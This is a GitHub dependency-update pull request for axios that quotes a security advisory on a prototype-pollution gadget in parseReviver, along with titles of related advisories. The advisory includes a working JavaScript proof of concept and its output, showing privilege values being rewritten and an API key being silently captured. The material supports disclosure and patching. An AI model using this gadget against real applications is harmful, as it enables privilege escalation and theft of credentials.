If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],

Proof of Concept

import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();

Verified PoC Output

[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues

✂ Note

PR body was truncated to here.

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renovate Bot changed the title ~~fix(deps): update dependency axios to v1.12.0 [security]~~ fix(deps): update dependency axios to v1.12.0 [security] - autoclosed Sep 29, 2025

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fix(deps): update dependency axios to v1.18.0 [security] - #2483

fix(deps): update dependency axios to v1.18.0 [security]#2483
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renovate Bot commented Sep 13, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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Server-Side Request Forgery in axios

Details

Severity

References

Axios is vulnerable to DoS attack through lack of data size check

Details

Summary

Details

PoC

Suggestions

Severity

References

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

Details

Denial of Service via proto Key in mergeConfig

Summary

Details

PoC

Impact

Severity

References

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

Usage of "Helper" Vulnerabilities

Proof of Concept

1. The Setup (Simulated Pollution)

2. The Gadget Trigger (Safe Code)

3. The Execution

4. The Impact

Impact Analysis

Recommended Fix

References

Severity

References

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

Details

Severity

References

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

CWE

CVSS 3.1

Vulnerable Code

Why the Standard Flow Is NOT Affected

Proof of Concept

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

Severity

References

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

CWE

CVSS 3.1

Usage of "Helper" Vulnerabilities

Vulnerable Code

Proof of Concept

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

Severity

References

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Details

Summary

Affected Properties

renovate Bot commented Sep 13, 2025 •

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Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Why `parseReviver` Bypasses ALL Existing Protections